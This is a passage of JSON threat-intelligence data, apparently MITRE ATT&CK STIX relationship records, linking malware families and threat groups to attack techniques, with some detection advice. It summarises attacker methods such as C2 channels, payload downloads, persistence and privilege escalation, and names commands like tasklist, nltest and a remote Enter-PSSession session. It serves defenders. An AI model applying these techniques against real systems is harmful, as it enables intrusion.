J.. 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Additionally, some variants of [FakeM](https://attack.mitre.org/software/S0076) use modified SSL code for communications back to C2 servers, making SSL decryption ineffective.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--bb3c1098-d654-4620-bf40-694386d28921", "target_ref": "attack-pattern--c325b232-d5bc-4dde-a3ec-71f3db9e8adc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d8c84ee1-db8d-4f32-addf-831310c93ab7", "created": "2024-02-12T20:31:55.087Z", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-12T20:31:55.087Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) will retrieved encrypted commands from its command and control server for follow-on actions such as cryptocurrency mining.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8c933d5-f44d-4e3b-ae15-f94518320995", "type": "relationship", "created": "2019-01-29T21:47:53.664Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Radware Micropsia July 2018", "url": "https://blog.radware.com/security/2018/07/micropsia-malware/", "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.920Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) creates a new hidden directory to store all components' outputs in a dedicated sub-folder for each.(Citation: Radware Micropsia July 2018)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8cbc56c-4014-4e59-adfd-1899859f01d4", "type": "relationship", "created": "2020-11-06T18:40:38.464Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}, {"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}, {"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}], "modified": "2021-08-19T16:54:10.853Z", "description": "(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: CISA AA21-200A APT40 July 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d8cc55d6-2864-4642-a4e5-9e57b6033b52", "created": "2022-03-30T14:26:51.862Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye PowerShell Logging 2016", "description": "Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"}, {"source_name": "Malware Archaeology PowerShell Cheat Sheet", "description": "Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.", "url": "http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:53:29.882Z", "description": "If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). (Citation: Malware Archaeology PowerShell Cheat Sheet) PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.(Citation: FireEye PowerShell Logging 2016) An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.\n\nPowerShell can be used over WinRM to remotely run commands on a host. When a remote PowerShell session starts, svchost.exe executes wsmprovhost.exe\n\nFor this to work, certain registry keys must be set, and the WinRM service must be enabled. The PowerShell command Enter-PSSession -ComputerName \\<RemoteHost\\> creates a remote PowerShell session.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8d1b814-2a28-402f-ab3b-f64c6d9974ce", "type": "relationship", "created": "2021-10-17T15:10:00.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}], "modified": "2021-10-17T15:10:00.732Z", "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has exploited CVE-2019-0803 and MS16-032 to escalate privileges.(Citation: TrendMicro Tonto Team October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c5b81590-6814-4d2a-8baa-15c4b6c7f960", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d8d1c202-705c-4c13-823c-ff622969d5b1", "created": "2022-03-30T14:26:51.846Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "modified": "2022-04-20T03:18:21.335Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8d6740b-a359-4f5c-b7d4-2189eea77892", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lazarus RATANKBA", "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"}, {"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}], "modified": "2020-09-02T18:46:33.425Z", "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uploads and downloads information.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)", "relationship_type": "uses", "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8d8ce21-9439-4b62-9021-ae4037172173", "type": "relationship", "created": "2022-03-30T14:26:51.863Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.863Z", "description": "Monitor executed commands and arguments in command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d8e0ed13-7938-4c9c-99ef-511b8dbf76aa", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Trend Micro Totbrick Oct 2016", "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"}, {"source_name": "Bitdefender Trickbot VNC module Whitepaper 2021", "description": "Radu Tudorica. (2021, July 12). A Fresh Look at Trickbot\u2019s Ever-Improving VNC Module. Retrieved September 28, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:45:32.495Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) downloads several additional files and saves them to the victim's machine.(Citation: Trend Micro Totbrick Oct 2016)(Citation: Bitdefender Trickbot VNC module Whitepaper 2021)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8e375a3-f455-4c66-bc63-251f320ec8b1", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "source_name": "Palo Alto OilRig May 2016"}], "modified": "2019-09-04T22:55:40.600Z", "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run <code>tasklist</code> on a victim's machine.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d8e8d071-fa60-4b6d-a0a4-dc6102f229c8", "created": "2024-01-09T19:39:07.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ToddyCat June 2022", "description": "Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.", "url": "https://securelist.com/toddycat/106799/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-11T20:57:59.640Z", "description": "[Samurai](https://attack.mitre.org/software/S1099) has the ability to proxy connections to specified remote IPs and ports through a a proxy module.(Citation: Kaspersky ToddyCat June 2022)", "relationship_type": "uses", "source_ref": "malware--ae91fb8f-5031-4f57-9839-e3be3ed503f0", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8ead39e-aa9f-44a7-ac5d-1a9b3bb46431", "type": "relationship", "created": "2020-07-17T15:48:51.544Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CME Github September 2018", "url": "https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference", "description": "byt3bl33d3r. (2018, September 8). SMB: Command Reference. Retrieved July 17, 2020."}], "modified": "2020-07-29T20:01:02.476Z", "description": "[CrackMapExec](https://attack.mitre.org/software/S0488) can execute PowerShell commands via WMI.(Citation: CME Github September 2018)", "relationship_type": "uses", "source_ref": "tool--c4810609-7da6-48ec-8057-1b70a7814db0", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d8f14118-ba84-44b0-a0b6-ad2348e42906", "created": "2022-06-28T14:54:51.493Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike IceApple May 2022", "url": "https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf", "description": "CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "The [IceApple](https://attack.mitre.org/software/S1022) Result Retriever module can AES encrypt C2 responses.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-06-28T14:54:51.493Z", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d8f527e3-a86a-431c-9110-b092343269bc", "type": "relationship", "created": "2019-01-30T15:19:15.005Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/", "source_name": "Unit42 Azorult Nov 2018"}], "modified": "2019-07-26T23:22:28.262Z", "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect host IP information from the victim\u2019s machine.(Citation: Unit42 Azorult Nov 2018)", "relationship_type": "uses", "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d8f5283b-fe44-4206-8a7d-393d216beb7e", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. 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Retrieved April 28, 2020."}], "modified": "2020-05-01T15:05:46.940Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) has executed <code>file /bin/pwd</code> on exploited victims, perhaps to return architecture related information.(Citation: FireEye APT41 March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d942783e-906f-4d2c-963b-1cc2f8429ff1", "created": "2023-03-31T19:30:59.801Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cybereason Royal December 2022", "description": "Cybereason Global SOC and Cybereason Security Research Teams. (2022, December 14). Royal Rumble: Analysis of Royal Ransomware. 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(n.d.). NLTEST.exe - Network Location Test. Retrieved February 14, 2019."}], "modified": "2019-04-22T19:06:17.484Z", "description": "[Nltest](https://attack.mitre.org/software/S0359) may be used to enumerate the parent domain of a local machine using <code>/parentdomain</code>.(Citation: Nltest Manual)", "relationship_type": "uses", "source_ref": "tool--981acc4c-2ede-4b56-be6e-fa1a75f37acf", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d96d964f-fec6-475e-acc5-d25ff0d46af9", "type": "relationship", "created": "2020-05-06T21:31:07.621Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Okrum July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf", "description": "Hromcova, Z. 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(Citation: ESET Okrum July 2019)", "relationship_type": "uses", "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d96db78c-e7b8-4877-8187-07c5e801cead", "type": "relationship", "created": "2020-08-11T21:15:35.494Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit42 RDAT July 2020", "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/", "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."}], "modified": "2020-08-11T21:15:35.494Z", "description": "[RDAT](https://attack.mitre.org/software/S0495) has used HTTP if DNS C2 communications were not functioning.(Citation: Unit42 RDAT July 2020)\t", "relationship_type": "uses", "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d96dd876-5752-4ea6-bb4b-ef92f60d57fe", "created": "2023-10-04T17:45:24.335Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. 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(2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."}, {"source_name": "Secureworks COBALT DICKENS September 2019", "url": "https://www.secureworks.com/blog/cobalt-dickens-goes-back-to-school-again", "description": "Counter Threat Unit Research Team. (2019, September 11). COBALT DICKENS Goes Back to School\u2026Again. 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(2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ZxxZ](https://attack.mitre.org/software/S1013) can collect the username from a compromised host.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "modified": "2022-06-02T13:51:00.731Z", "relationship_type": "uses", "source_ref": "malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d979fd42-450e-4bd3-a6f8-74b8c8f8fb7b", "created": "2020-11-06T18:40:38.294Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Talos Cobalt Strike September 2020", "description": "Mavis, N. (2020, September 21). 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(2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020."}, {"source_name": "Antiy CERT Ramsay April 2020", "url": "https://www.programmersought.com/article/62493896999/", "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}], "modified": "2021-04-14T19:19:30.200Z", "description": "[Ramsay](https://attack.mitre.org/software/S0458) has included embedded Visual Basic scripts in malicious documents.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "source_ref": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d98b5525-3cc5-4058-baf5-d614b91eb814", "type": "relationship", "created": "2019-01-30T15:47:41.410Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Lazarus Nov 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", "description": "Trend Micro. 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Retrieved November 15, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)", "modified": "2022-04-28T15:27:12.599Z", "relationship_type": "detects", "source_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", "target_ref": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d9bdae16-d3b3-4260-b1ef-2624cf4e836c", "type": "relationship", "created": "2021-12-10T14:23:03.570Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-296A Berserk Bear December 2020", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa20-296a#revisions", "description": "CISA. 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Retrieved June 10, 2019."}], "modified": "2021-02-09T14:03:21.361Z", "description": "[Ursnif](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)", "relationship_type": "uses", "source_ref": "malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d9c29485-ced4-4ebc-880c-31d35dd54b26", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", "description": "Carr, N.. (2017, May 14). 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Retrieved June 18, 2017.", "source_name": "FireEye APT32 May 2017"}], "modified": "2019-07-17T13:11:38.949Z", "description": "(Citation: FireEye APT32 May 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "malware--98e8a977-3416-43aa-87fa-33e287e9c14c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d9c2b891-e40d-4963-aef7-3b43b20f21c1", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. 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(2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021."}, {"source_name": "CarbonBlack Conti July 2020", "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."}], "modified": "2021-02-17T19:22:30.953Z", "description": "[Conti](https://attack.mitre.org/software/S0575) can spread itself by infecting other remote machines via network shared drives.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020) ", "relationship_type": "uses", "source_ref": "malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b", "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d9cd513e-c863-4695-a6e0-b2e4e79c24e8", "type": "relationship", "created": "2020-12-17T17:23:08.124Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelLabs Agent Tesla Aug 2020", "url": "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", "description": "Walter, J. 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Retrieved December 11, 2020."}], "modified": "2020-12-17T17:23:08.124Z", "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) can achieve persistence by modifying Registry key entries.(Citation: SentinelLabs Agent Tesla 